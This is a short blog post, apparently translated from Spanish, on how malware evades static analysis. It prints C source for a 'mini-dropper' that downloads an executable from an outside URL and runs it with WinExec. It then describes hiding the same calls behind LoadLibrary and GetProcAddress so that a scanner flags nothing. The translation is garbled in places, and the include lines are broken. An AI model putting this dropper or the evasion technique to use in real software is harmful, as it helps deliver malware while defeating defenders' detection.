Reversing Malware: Evading static analysis with GetProcAddress ()

No one is aware that the world of malware analysis is a game of appearances, concealment techniques and follow leads.

Today we will talk about a technique used to hide evidence before a static analysis of executables.

This type of analysis is based on analyzing an executable and value depending on the functions that are used (there are more suspicious than others functions) without running the binary with a debugger.

Therefore, the goal is to leave the less 'in the picture' and for this we will make use of the function GetProcAddress ()

This feature allows for the memory address of any function available in a dll. And this that we can serve in this scenario? We're going to do with two simple examples.

Example 1: mini-dropper

Data provided by Pastebin.com - Download Raw - See Original

1. # Include
2. # Include
4. int main ( int argc , char * argv [ ] ) {
6. URLDownloadToFile(NULL,"http://sbdtools.googlecode.com/files/CertMonSetup.exe", "CertMonSetup.exe", 0,NULL);
8. WinExec ( "CertMonSetup.exe" , SW_SHOWNORMAL ) ;
10. return 0 ;
11. }

It's a simple 'dropper' to download a file using URLDownloadToFile () and then executes it using WinExec (). Nothing too exciting, but effective

If you compile this example using Visual Studio:

> Cl prueba.c Urlmon.lib

We generate the executable 'test.exe' that if we launched it will download the selected file and execute it.

Consider this executable under the microscope Peframe :

We see that the two functions that we are using are well known in the world of malware and are marked as 'suspicious'. We left in the middle of the photo, and smiling!

If we analyze that DLLs are imported using Dependency Walker :

We 'urlmon.dll' and 'KERNEL32.DLL'. It is also suspected of using dll 'urlmon.dll' and could raise suspicions during a scan

Example 2: mini-dropper 'stealth'

In this case, the functionality is exactly the same: download a binary and run it, but the caveat is that not 'declare' our intentions directly calling the functions we need, in this case, we will use suspicious features on the fly calling LoadLibrary () and GetProcAddress () to whom we will ask you to load the dlls we need and the corresponding memory addresses.

Compile the new executable:

> Cl pruebaget.c

And we again pass under the eyes of Peframe:

In this case, finds nothing suspicious Peframe although binary functionality is exactly the same in both cases. We no longer in the picture!

Additionally as an extra benefit, also missing DLL 'urlmon.dll' since it is loaded on the fly during the execution of the binary

SOURCE: securitybydefault